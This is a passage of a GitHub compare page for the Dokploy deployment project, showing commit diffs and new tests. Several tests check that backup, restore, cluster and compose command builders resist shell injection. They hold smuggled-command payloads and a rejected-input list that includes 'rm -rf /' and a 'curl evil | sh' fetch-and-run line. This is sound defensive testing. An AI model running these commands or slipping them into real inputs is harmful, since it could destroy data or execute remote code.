mirror of
https://github.com/Dokploy/dokploy.git
synced 2026-07-25 15:55:43 +02:00
Compare commits
165 Commits
fix/projec
...
feat/add-n
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ec74035c70 | ||
|
|
aee15efac7 | ||
|
|
97885ee44a | ||
|
|
8a37626636 | ||
|
|
adcbd6fd8e | ||
|
|
c578c18500 | ||
|
|
94ddbf8ba5 | ||
|
|
61c2b73f08 | ||
|
|
736a77e112 | ||
|
|
f4bcc2e8a8 | ||
|
|
99e483c1a1 | ||
|
|
22c8a1658a | ||
|
|
f0f0db4c7f | ||
|
|
8b868c66d6 | ||
|
|
366e44b75a | ||
|
|
cb2db0d30a | ||
|
|
7ba3853bab | ||
|
|
8def9e933e | ||
|
|
e9b51667e2 | ||
|
|
25370cac30 | ||
|
|
52c7db1f66 | ||
|
|
6d65a36aac | ||
|
|
cbec72ed80 | ||
|
|
3b102fac56 | ||
|
|
b2ade17487 | ||
|
|
ffe62bca0e | ||
|
|
d3f522b7a6 | ||
|
|
4aee66b2d1 | ||
|
|
d02f34f9d4 | ||
|
|
92310ddb14 | ||
|
|
16b5b7293f | ||
|
|
d629faebc6 | ||
|
|
eeb6e7b8ea | ||
|
|
9b078e0b4c | ||
|
|
ce4be79b3d | ||
|
|
8c2e91a5e6 | ||
|
|
0514363062 | ||
|
|
ffb8d4396b | ||
|
|
5ae344db58 | ||
|
|
f339805ddf | ||
|
|
8fe3294a08 | ||
|
|
1e3f10bd22 | ||
|
|
393fb92344 | ||
|
|
79c9cf99e0 | ||
|
|
6cbc7a0031 | ||
|
|
eb1f11b908 | ||
|
|
1a3c76d1f2 | ||
|
|
1e354a3cf2 | ||
|
|
1bc76e9e5b | ||
|
|
56169f3278 | ||
|
|
479d851829 | ||
|
|
68f5afae42 | ||
|
|
637715ac66 | ||
|
|
df2779eaeb | ||
|
|
95a3556baa | ||
|
|
fbd84b9b0d | ||
|
|
d48037a802 | ||
|
|
8539a5c82f | ||
|
|
ccd2e83c57 | ||
|
|
89effbe395 | ||
|
|
b24202e69b | ||
|
|
0348f5fb38 | ||
|
|
cba0b253c7 | ||
|
|
1c31ed9969 | ||
|
|
ecbaf6060b | ||
|
|
c0afc48da8 | ||
|
|
65fe737bc4 | ||
|
|
77384b2183 | ||
|
|
68ea9f7771 | ||
|
|
182d3656bb | ||
|
|
c2c0e9c1c2 | ||
|
|
5563699f71 | ||
|
|
117cfa1a89 | ||
|
|
439eee45ed | ||
|
|
e88c6b6b4f | ||
|
|
26cae3b8a9 | ||
|
|
071d9eacee | ||
|
|
57ecfa8884 | ||
|
|
97cd7d1009 | ||
|
|
cf35eae73f | ||
|
|
fb7f5bd5b6 | ||
|
|
47347ab885 | ||
|
|
74811073f6 | ||
|
|
15fe3b21c9 | ||
|
|
df3965a581 | ||
|
|
bddc0c3d15 | ||
|
|
9626c162cc | ||
|
|
c4596ffa76 | ||
|
|
de62aff0fb | ||
|
|
d5dd35c8f8 | ||
|
|
4631ede015 | ||
|
|
bc22d05f8d | ||
|
|
7ba9818894 | ||
|
|
9142127fb3 | ||
|
|
31380fd325 | ||
|
|
f577778667 | ||
|
|
12d3f1871c | ||
|
|
c04d56bf2c | ||
|
|
2e867c5be1 | ||
|
|
e87a245cdc | ||
|
|
71bea42625 | ||
|
|
1cb9491013 | ||
|
|
01ac30974f | ||
|
|
1c4414165d | ||
|
|
93b7942f7d | ||
|
|
6224d57adb | ||
|
|
8d0ae19b58 | ||
|
|
856cf33dd8 | ||
|
|
7924794ae7 | ||
|
|
3c114e2b45 | ||
|
|
cffd8464ef | ||
|
|
b3621bcfff | ||
|
|
b4574aa097 | ||
|
|
d831607f3a | ||
|
|
995a04d30f | ||
|
|
e6bfaa2eac | ||
|
|
3912c1abcc | ||
|
|
bb30dc14fe | ||
|
|
532c8d0c0d | ||
|
|
7871ce7684 | ||
|
|
98b86300df | ||
|
|
82fcdc9598 | ||
|
|
4e3a6db83a | ||
|
|
17fdd64c10 | ||
|
|
215c4666ff | ||
|
|
9749d86b4c | ||
|
|
12a9cceec7 | ||
|
|
d3e0b100a0 | ||
|
|
a296407c85 | ||
|
|
0d79a0a221 | ||
|
|
c9ac7236a7 | ||
|
|
6e5ac41bab | ||
|
|
d7b9f01567 | ||
|
|
8f9be1636c | ||
|
|
86f941d606 | ||
|
|
a5bb9486a9 | ||
|
|
c72698cc11 | ||
|
|
a1b26e8b83 | ||
|
|
b176f8f860 | ||
|
|
59b0e51ef7 | ||
|
|
8c900408bd | ||
|
|
8db1250487 | ||
|
|
71bbbb44db | ||
|
|
2440e8f803 | ||
|
|
ca2708a58a | ||
|
|
f8a3561f1e | ||
|
|
38de9ef218 | ||
|
|
cb23d726fe | ||
|
|
aa93897eae | ||
|
|
475a01c4a2 | ||
|
|
8a0e44291f | ||
|
|
3e11c0a240 | ||
|
|
b96c5e8655 | ||
|
|
b3c2e1e5af | ||
|
|
60867d0b60 | ||
|
|
5f508163e5 | ||
|
|
fc75b847b5 | ||
|
|
b1abcb9e06 | ||
|
|
d542972522 | ||
|
|
e7c38d4c54 | ||
|
|
a8f941b5d9 | ||
|
|
c68fac55fd | ||
|
|
efcad7bbf5 | ||
|
|
a0566cdbd7 | ||
|
|
69598821ed |
9
.github/workflows/dokploy.yml
vendored
9
.github/workflows/dokploy.yml
vendored
@@ -152,6 +152,14 @@ jobs:
|
|||||||
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
|
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
|
||||||
echo "version=$VERSION" >> $GITHUB_OUTPUT
|
echo "version=$VERSION" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: Fetch install.sh
|
||||||
|
run: |
|
||||||
|
curl -fsSL https://raw.githubusercontent.com/Dokploy/website/main/apps/website/public/install.sh -o install.sh
|
||||||
|
head -1 install.sh | grep -q '^#!' || { echo "Downloaded install.sh is not a shell script"; exit 1; }
|
||||||
|
grep -q 'DOKPLOY_VERSION' install.sh || { echo "install.sh no longer supports DOKPLOY_VERSION pinning"; exit 1; }
|
||||||
|
{ head -1 install.sh; echo "DOKPLOY_VERSION=\"\${DOKPLOY_VERSION:-${{ steps.get_version.outputs.version }}}\""; tail -n +2 install.sh; } > install-pinned.sh
|
||||||
|
mv install-pinned.sh install.sh
|
||||||
|
|
||||||
- name: Create Release
|
- name: Create Release
|
||||||
uses: softprops/action-gh-release@v2
|
uses: softprops/action-gh-release@v2
|
||||||
with:
|
with:
|
||||||
@@ -160,6 +168,7 @@ jobs:
|
|||||||
generate_release_notes: true
|
generate_release_notes: true
|
||||||
draft: false
|
draft: false
|
||||||
prerelease: false
|
prerelease: false
|
||||||
|
files: install.sh
|
||||||
env:
|
env:
|
||||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
|
|||||||
3
.gitignore
vendored
3
.gitignore
vendored
@@ -44,3 +44,6 @@ yarn-error.log*
|
|||||||
|
|
||||||
|
|
||||||
.db
|
.db
|
||||||
|
|
||||||
|
.playwright-*
|
||||||
|
.credentials
|
||||||
@@ -69,4 +69,5 @@ EXPOSE 3000
|
|||||||
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
|
HEALTHCHECK --interval=30s --timeout=5s --start-period=60s --retries=5 \
|
||||||
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
|
CMD curl -fs http://localhost:3000/api/trpc/settings.health || exit 1
|
||||||
|
|
||||||
CMD ["sh", "-c", "pnpm run wait-for-postgres && exec pnpm start"]
|
# Ejecutar node directamente: pnpm como wrapper queda residente (~100MB RSS)
|
||||||
|
CMD ["sh", "-c", "node -r dotenv/config dist/wait-for-postgres.mjs && node -r dotenv/config dist/migration.mjs && exec node -r dotenv/config dist/server.mjs"]
|
||||||
|
|||||||
26
apps/dokploy/__test__/api/api-key-name.test.ts
Normal file
26
apps/dokploy/__test__/api/api-key-name.test.ts
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";
|
||||||
|
|
||||||
|
describe("apiKeyNameSchema", () => {
|
||||||
|
it("rejects an empty name", () => {
|
||||||
|
const result = apiKeyNameSchema.safeParse("");
|
||||||
|
expect(result.success).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("accepts a name at the maximum length", () => {
|
||||||
|
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
|
||||||
|
const result = apiKeyNameSchema.safeParse(name);
|
||||||
|
expect(result.success).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects a name over the maximum length instead of passing it to better-auth", () => {
|
||||||
|
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
|
||||||
|
const result = apiKeyNameSchema.safeParse(name);
|
||||||
|
expect(result.success).toBe(false);
|
||||||
|
if (!result.success) {
|
||||||
|
expect(result.error.issues[0]?.message).toBe(
|
||||||
|
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,106 @@
|
|||||||
|
import { execSync } from "node:child_process";
|
||||||
|
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
|
||||||
|
import {
|
||||||
|
getLibsqlBackupCommand,
|
||||||
|
getMariadbBackupCommand,
|
||||||
|
getMongoBackupCommand,
|
||||||
|
getMysqlBackupCommand,
|
||||||
|
getPostgresBackupCommand,
|
||||||
|
} from "@dokploy/server/utils/backups/utils";
|
||||||
|
import {
|
||||||
|
getMariadbRestoreCommand,
|
||||||
|
getMongoRestoreCommand,
|
||||||
|
getMysqlRestoreCommand,
|
||||||
|
getPostgresRestoreCommand,
|
||||||
|
} from "@dokploy/server/utils/restore/utils";
|
||||||
|
import { afterAll, beforeAll, describe, expect, it } from "vitest";
|
||||||
|
|
||||||
|
// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
|
||||||
|
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
|
||||||
|
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
|
||||||
|
// and the inner shell) the way production does, without needing a container.
|
||||||
|
const stub = `/tmp/docker_stub_${process.pid}`;
|
||||||
|
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
|
||||||
|
|
||||||
|
beforeAll(() => {
|
||||||
|
writeFileSync(
|
||||||
|
stub,
|
||||||
|
`#!/bin/bash
|
||||||
|
shift # exec
|
||||||
|
envs=()
|
||||||
|
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
|
||||||
|
shift 2 # -i CONTAINER
|
||||||
|
shell="$1"; shift # bash|sh
|
||||||
|
shift # -c
|
||||||
|
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
|
||||||
|
`,
|
||||||
|
);
|
||||||
|
chmodSync(stub, 0o755);
|
||||||
|
});
|
||||||
|
|
||||||
|
afterAll(() => {
|
||||||
|
if (existsSync(stub)) rmSync(stub);
|
||||||
|
if (existsSync(MARK)) rmSync(MARK);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Run a builder-produced command with `docker` pointed at the stub; return true
|
||||||
|
// if no injected command fired.
|
||||||
|
const runsSafely = (command: string) => {
|
||||||
|
if (existsSync(MARK)) rmSync(MARK);
|
||||||
|
const withStub = command.replace(/^docker /, `${stub} `);
|
||||||
|
try {
|
||||||
|
execSync(withStub, {
|
||||||
|
shell: "/bin/bash",
|
||||||
|
stdio: "ignore",
|
||||||
|
env: { ...process.env, CONTAINER_ID: "test" },
|
||||||
|
});
|
||||||
|
} catch {}
|
||||||
|
const fired = existsSync(MARK);
|
||||||
|
if (existsSync(MARK)) rmSync(MARK);
|
||||||
|
return !fired;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Payloads that try to break out of every quoting style used in the builders.
|
||||||
|
const p = (mark: string) => [
|
||||||
|
`$(touch ${mark})`,
|
||||||
|
"`touch " + mark + "`",
|
||||||
|
`x'; touch ${mark}; '`,
|
||||||
|
`x"; touch ${mark}; echo "`,
|
||||||
|
`x; touch ${mark}`,
|
||||||
|
];
|
||||||
|
|
||||||
|
describe("database backup/restore command injection", () => {
|
||||||
|
const cases: Array<[string, (v: string) => string]> = [
|
||||||
|
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
|
||||||
|
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
|
||||||
|
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
|
||||||
|
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
|
||||||
|
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
|
||||||
|
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
|
||||||
|
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
|
||||||
|
[
|
||||||
|
"mariadb restore (password)",
|
||||||
|
(v) => getMariadbRestoreCommand("db", "u", v),
|
||||||
|
],
|
||||||
|
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
|
||||||
|
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const [label, build] of cases) {
|
||||||
|
it(`${label} is not injectable`, () => {
|
||||||
|
for (const payload of p(MARK)) {
|
||||||
|
expect(runsSafely(build(payload))).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
it("preserves a legitimate database name (passed through as env var)", () => {
|
||||||
|
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
|
||||||
|
// Values live in -e assignments, never inline in the pg_dump text.
|
||||||
|
expect(cmd).toContain("-e DB_NAME=my-db_prod");
|
||||||
|
expect(cmd).toContain("-e DB_USER=app_user");
|
||||||
|
expect(cmd).toContain(
|
||||||
|
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
50
apps/dokploy/__test__/backups/redact-credentials.test.ts
Normal file
50
apps/dokploy/__test__/backups/redact-credentials.test.ts
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
|
||||||
|
describe("redactRcloneCredentials (#4621)", () => {
|
||||||
|
it("should redact access key in rclone command", () => {
|
||||||
|
const cmd =
|
||||||
|
'rclone rcat --s3-access-key-id="AKIAIOSFODNN7EXAMPLE" --s3-secret-access-key="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" :s3:bucket/file.gz';
|
||||||
|
const redacted = redactRcloneCredentials(cmd);
|
||||||
|
expect(redacted).not.toContain("AKIAIOSFODNN7EXAMPLE");
|
||||||
|
expect(redacted).toContain('--s3-access-key-id="[REDACTED]"');
|
||||||
|
});
|
||||||
|
|
||||||
|
it("should redact secret access key in rclone command", () => {
|
||||||
|
const cmd =
|
||||||
|
'rclone rcat --s3-access-key-id="key" --s3-secret-access-key="supersecret" :s3:bucket/file.gz';
|
||||||
|
const redacted = redactRcloneCredentials(cmd);
|
||||||
|
expect(redacted).not.toContain("supersecret");
|
||||||
|
expect(redacted).toContain('--s3-secret-access-key="[REDACTED]"');
|
||||||
|
});
|
||||||
|
|
||||||
|
it("should redact both credentials simultaneously", () => {
|
||||||
|
const cmd =
|
||||||
|
'rclone lsf --s3-access-key-id="AKIA123" --s3-secret-access-key="secret456" --s3-region="us-east-1" :s3:bucket/';
|
||||||
|
const redacted = redactRcloneCredentials(cmd);
|
||||||
|
expect(redacted).not.toContain("AKIA123");
|
||||||
|
expect(redacted).not.toContain("secret456");
|
||||||
|
expect(redacted).toContain('--s3-region="us-east-1"');
|
||||||
|
});
|
||||||
|
|
||||||
|
it("should not modify non-credential flags", () => {
|
||||||
|
const cmd =
|
||||||
|
'rclone rcat --s3-region="eu-west-1" --s3-endpoint="https://s3.example.com" --s3-no-check-bucket :s3:bucket/file.gz';
|
||||||
|
const redacted = redactRcloneCredentials(cmd);
|
||||||
|
expect(redacted).toBe(cmd);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("should handle commands with no credentials", () => {
|
||||||
|
const cmd = "rclone lsf :s3:bucket/";
|
||||||
|
expect(redactRcloneCredentials(cmd)).toBe(cmd);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("should handle error strings containing credentials", () => {
|
||||||
|
const errorStr =
|
||||||
|
'Error: Command failed: rclone lsf --s3-access-key-id="MYKEY" --s3-secret-access-key="MYSECRET" :s3:bucket/';
|
||||||
|
const redacted = redactRcloneCredentials(errorStr);
|
||||||
|
expect(redacted).not.toContain("MYKEY");
|
||||||
|
expect(redacted).not.toContain("MYSECRET");
|
||||||
|
expect(redacted).toContain("[REDACTED]");
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,70 @@
|
|||||||
|
import { execSync } from "node:child_process";
|
||||||
|
import { existsSync, rmSync } from "node:fs";
|
||||||
|
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
|
||||||
|
import { parse, quote } from "shell-quote";
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
|
||||||
|
const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
|
||||||
|
|
||||||
|
const runsSafely = (command: string) => {
|
||||||
|
if (existsSync(MARK)) rmSync(MARK);
|
||||||
|
try {
|
||||||
|
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
|
||||||
|
} catch {}
|
||||||
|
const fired = existsSync(MARK);
|
||||||
|
if (existsSync(MARK)) rmSync(MARK);
|
||||||
|
return !fired;
|
||||||
|
};
|
||||||
|
|
||||||
|
const PAYLOADS = (m: string) => [
|
||||||
|
`$(touch ${m})`,
|
||||||
|
"`touch " + m + "`",
|
||||||
|
`x; touch ${m}`,
|
||||||
|
`x | touch ${m}`,
|
||||||
|
];
|
||||||
|
|
||||||
|
describe("cluster removeWorker nodeId injection", () => {
|
||||||
|
// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
|
||||||
|
it("escapes nodeId in drain/remove commands", () => {
|
||||||
|
for (const nodeId of PAYLOADS(MARK)) {
|
||||||
|
const drain = `: node update --availability drain ${quote([nodeId])}`;
|
||||||
|
const remove = `: node rm ${quote([nodeId])} --force`;
|
||||||
|
expect(runsSafely(drain)).toBe(true);
|
||||||
|
expect(runsSafely(remove)).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("swarm upload registry tag/push injection", () => {
|
||||||
|
// registryTag is built from registryUrl/username/imagePrefix (username and
|
||||||
|
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
|
||||||
|
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
|
||||||
|
for (const payload of PAYLOADS(MARK)) {
|
||||||
|
const registryTag = getRegistryTag(
|
||||||
|
{
|
||||||
|
registryUrl: "registry.example.com",
|
||||||
|
imagePrefix: payload,
|
||||||
|
username: "user",
|
||||||
|
} as any,
|
||||||
|
"app:latest",
|
||||||
|
);
|
||||||
|
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
|
||||||
|
const pushCmd = `: push ${quote([registryTag])}`;
|
||||||
|
expect(runsSafely(tagCmd)).toBe(true);
|
||||||
|
expect(runsSafely(pushCmd)).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("keeps a legitimate registry tag intact", () => {
|
||||||
|
const tag = getRegistryTag(
|
||||||
|
{
|
||||||
|
registryUrl: "registry.example.com",
|
||||||
|
imagePrefix: "team",
|
||||||
|
username: "user",
|
||||||
|
} as any,
|
||||||
|
"myapp:1.2.3",
|
||||||
|
);
|
||||||
|
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
|
||||||
|
expect(parse(quote([tag]))).toEqual([tag]);
|
||||||
|
});
|
||||||
|
});
|
||||||
104
apps/dokploy/__test__/compose/compose-command-injection.test.ts
Normal file
104
apps/dokploy/__test__/compose/compose-command-injection.test.ts
Normal file
@@ -0,0 +1,104 @@
|
|||||||
|
import { execSync } from "node:child_process";
|
||||||
|
import { existsSync, rmSync } from "node:fs";
|
||||||
|
import { createCommand } from "@dokploy/server/utils/builders/compose";
|
||||||
|
import { parse, quote } from "shell-quote";
|
||||||
|
import { describe, expect, it } from "vitest";
|
||||||
|
|
||||||
|
const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
|
||||||
|
|
||||||
|
const base = {
|
||||||
|
composeType: "docker-compose" as const,
|
||||||
|
appName: "compose-app",
|
||||||
|
sourceType: "raw" as const,
|
||||||
|
command: "",
|
||||||
|
composePath: "docker-compose.yml",
|
||||||
|
};
|
||||||
|
|
||||||
|
// createCommand output is interpolated as `docker ${command}` at the deploy
|
||||||
|
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
|
||||||
|
const runsSafely = (command: string) => {
|
||||||
|
if (existsSync(MARK)) rmSync(MARK);
|
||||||
|
try {
|
||||||
|
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
|
||||||
|
} catch {}
|
||||||
|
const fired = existsSync(MARK);
|
||||||
|
if (existsSync(MARK)) rmSync(MARK);
|
||||||
|
return !fired;
|
||||||
|
};
|
||||||
|
|
||||||
|
const PAYLOADS = [
|
||||||
|
`$(touch ${MARK})`,
|
||||||
|
"`touch " + MARK + "`",
|
||||||
|
`x; touch ${MARK}`,
|
||||||
|
`x | touch ${MARK}`,
|
||||||
|
];
|
||||||
|
|
||||||
|
describe("compose createCommand injection", () => {
|
||||||
|
it("escapes composePath (docker-compose)", () => {
|
||||||
|
for (const p of PAYLOADS) {
|
||||||
|
const cmd = createCommand({
|
||||||
|
...base,
|
||||||
|
sourceType: "github",
|
||||||
|
composePath: p,
|
||||||
|
} as any);
|
||||||
|
expect(runsSafely(cmd)).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("escapes composePath (stack deploy)", () => {
|
||||||
|
for (const p of PAYLOADS) {
|
||||||
|
const cmd = createCommand({
|
||||||
|
...base,
|
||||||
|
composeType: "stack",
|
||||||
|
sourceType: "github",
|
||||||
|
composePath: p,
|
||||||
|
} as any);
|
||||||
|
expect(runsSafely(cmd)).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("escapes appName", () => {
|
||||||
|
for (const p of PAYLOADS) {
|
||||||
|
const cmd = createCommand({
|
||||||
|
...base,
|
||||||
|
sourceType: "github",
|
||||||
|
appName: p,
|
||||||
|
composePath: "docker-compose.yml",
|
||||||
|
} as any);
|
||||||
|
expect(runsSafely(cmd)).toBe(true);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects a custom command containing shell control characters", () => {
|
||||||
|
for (const bad of [
|
||||||
|
"up -d; rm -rf /",
|
||||||
|
"up && curl evil | sh",
|
||||||
|
"up $(touch x)",
|
||||||
|
"up `id`",
|
||||||
|
]) {
|
||||||
|
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
|
||||||
|
/Invalid characters/,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows a legitimate custom command", () => {
|
||||||
|
const cmd = createCommand({
|
||||||
|
...base,
|
||||||
|
command: "compose -f docker-compose.yml -p app up -d --build",
|
||||||
|
} as any);
|
||||||
|
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("keeps a legitimate composePath intact", () => {
|
||||||
|
const cmd = createCommand({
|
||||||
|
...base,
|
||||||
|
sourceType: "github",
|
||||||
|
composePath: "deploy/docker-compose.prod.yml",
|
||||||
|
} as any);
|
||||||
|
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
|
||||||
|
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
|
||||||
|
"deploy/docker-compose.prod.yml",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
199
apps/dokploy/__test__/compose/network/service-networks.test.ts
Normal file
199
apps/dokploy/__test__/compose/network/service-networks.test.ts
Normal file
@@ -0,0 +1,199 @@
|
|||||||
|
import type { Compose, ComposeSpecification } from "@dokploy/server";
|
||||||
|
import {
|
||||||
|
applyServiceNetworks,
|
||||||
|
declareUsedNetworksInRoot,
|
||||||
|
resolveServiceNetworks,
|
||||||
|
} from "@dokploy/server";
|
||||||
|
import { db } from "@dokploy/server/db";
|
||||||
|
import { beforeEach, expect, test, type vi } from "vitest";
|
||||||
|
import { parse } from "yaml";
|
||||||
|
|
||||||
|
const findManyMock = db.query.network.findMany as ReturnType<typeof vi.fn>;
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
findManyMock.mockReset();
|
||||||
|
findManyMock.mockResolvedValue([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
const baseCompose = {
|
||||||
|
serverId: null,
|
||||||
|
isolatedDeployment: false,
|
||||||
|
} as unknown as Compose;
|
||||||
|
|
||||||
|
const withServiceNetworks = (
|
||||||
|
serviceNetworks: Compose["serviceNetworks"],
|
||||||
|
): Compose => ({ ...baseCompose, serviceNetworks });
|
||||||
|
|
||||||
|
test("applyServiceNetworks: no-op when serviceNetworks is empty", async () => {
|
||||||
|
const result = parse(`
|
||||||
|
services:
|
||||||
|
web:
|
||||||
|
image: nginx
|
||||||
|
`) as ComposeSpecification;
|
||||||
|
|
||||||
|
const injected = await applyServiceNetworks(result, withServiceNetworks([]));
|
||||||
|
|
||||||
|
expect(injected.size).toBe(0);
|
||||||
|
expect(result.services?.web?.networks).toBeUndefined();
|
||||||
|
expect(findManyMock).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("applyServiceNetworks: injects assigned network by networkId", async () => {
|
||||||
|
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
|
||||||
|
|
||||||
|
const result = parse(`
|
||||||
|
services:
|
||||||
|
web:
|
||||||
|
image: nginx
|
||||||
|
`) as ComposeSpecification;
|
||||||
|
|
||||||
|
const injected = await applyServiceNetworks(
|
||||||
|
result,
|
||||||
|
withServiceNetworks([
|
||||||
|
{
|
||||||
|
serviceName: "web",
|
||||||
|
networkIds: ["net-1"],
|
||||||
|
detachDokployNetwork: false,
|
||||||
|
},
|
||||||
|
]),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(injected.has("shared-net")).toBe(true);
|
||||||
|
expect(result.services?.web?.networks).toContain("shared-net");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("applyServiceNetworks: detach removes dokploy-network and default", async () => {
|
||||||
|
const result = parse(`
|
||||||
|
services:
|
||||||
|
db:
|
||||||
|
image: postgres
|
||||||
|
networks:
|
||||||
|
- dokploy-network
|
||||||
|
- default
|
||||||
|
`) as ComposeSpecification;
|
||||||
|
|
||||||
|
const injected = await applyServiceNetworks(
|
||||||
|
result,
|
||||||
|
withServiceNetworks([
|
||||||
|
{ serviceName: "db", networkIds: [], detachDokployNetwork: true },
|
||||||
|
]),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(injected.size).toBe(0);
|
||||||
|
expect(result.services?.db?.networks).not.toContain("dokploy-network");
|
||||||
|
expect(result.services?.db?.networks).not.toContain("default");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("applyServiceNetworks: unknown networkId is skipped", async () => {
|
||||||
|
findManyMock.mockResolvedValue([]);
|
||||||
|
|
||||||
|
const result = parse(`
|
||||||
|
services:
|
||||||
|
web:
|
||||||
|
image: nginx
|
||||||
|
`) as ComposeSpecification;
|
||||||
|
|
||||||
|
const injected = await applyServiceNetworks(
|
||||||
|
result,
|
||||||
|
withServiceNetworks([
|
||||||
|
{
|
||||||
|
serviceName: "web",
|
||||||
|
networkIds: ["missing"],
|
||||||
|
detachDokployNetwork: false,
|
||||||
|
},
|
||||||
|
]),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(injected.size).toBe(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("applyServiceNetworks: skips services that don't exist in the compose", async () => {
|
||||||
|
findManyMock.mockResolvedValue([{ networkId: "net-1", name: "shared-net" }]);
|
||||||
|
|
||||||
|
const result = parse(`
|
||||||
|
services:
|
||||||
|
web:
|
||||||
|
image: nginx
|
||||||
|
`) as ComposeSpecification;
|
||||||
|
|
||||||
|
const injected = await applyServiceNetworks(
|
||||||
|
result,
|
||||||
|
withServiceNetworks([
|
||||||
|
{
|
||||||
|
serviceName: "ghost",
|
||||||
|
networkIds: ["net-1"],
|
||||||
|
detachDokployNetwork: false,
|
||||||
|
},
|
||||||
|
]),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(injected.size).toBe(0);
|
||||||
|
expect(result.services?.web?.networks).toBeUndefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("declareUsedNetworksInRoot: declares dokploy-network only when used", () => {
|
||||||
|
const used = parse(`
|
||||||
|
services:
|
||||||
|
web:
|
||||||
|
image: nginx
|
||||||
|
networks:
|
||||||
|
- dokploy-network
|
||||||
|
`) as ComposeSpecification;
|
||||||
|
declareUsedNetworksInRoot(used, new Set());
|
||||||
|
expect(used.networks).toHaveProperty("dokploy-network");
|
||||||
|
|
||||||
|
const unused = parse(`
|
||||||
|
services:
|
||||||
|
web:
|
||||||
|
image: nginx
|
||||||
|
networks:
|
||||||
|
- default
|
||||||
|
`) as ComposeSpecification;
|
||||||
|
declareUsedNetworksInRoot(unused, new Set());
|
||||||
|
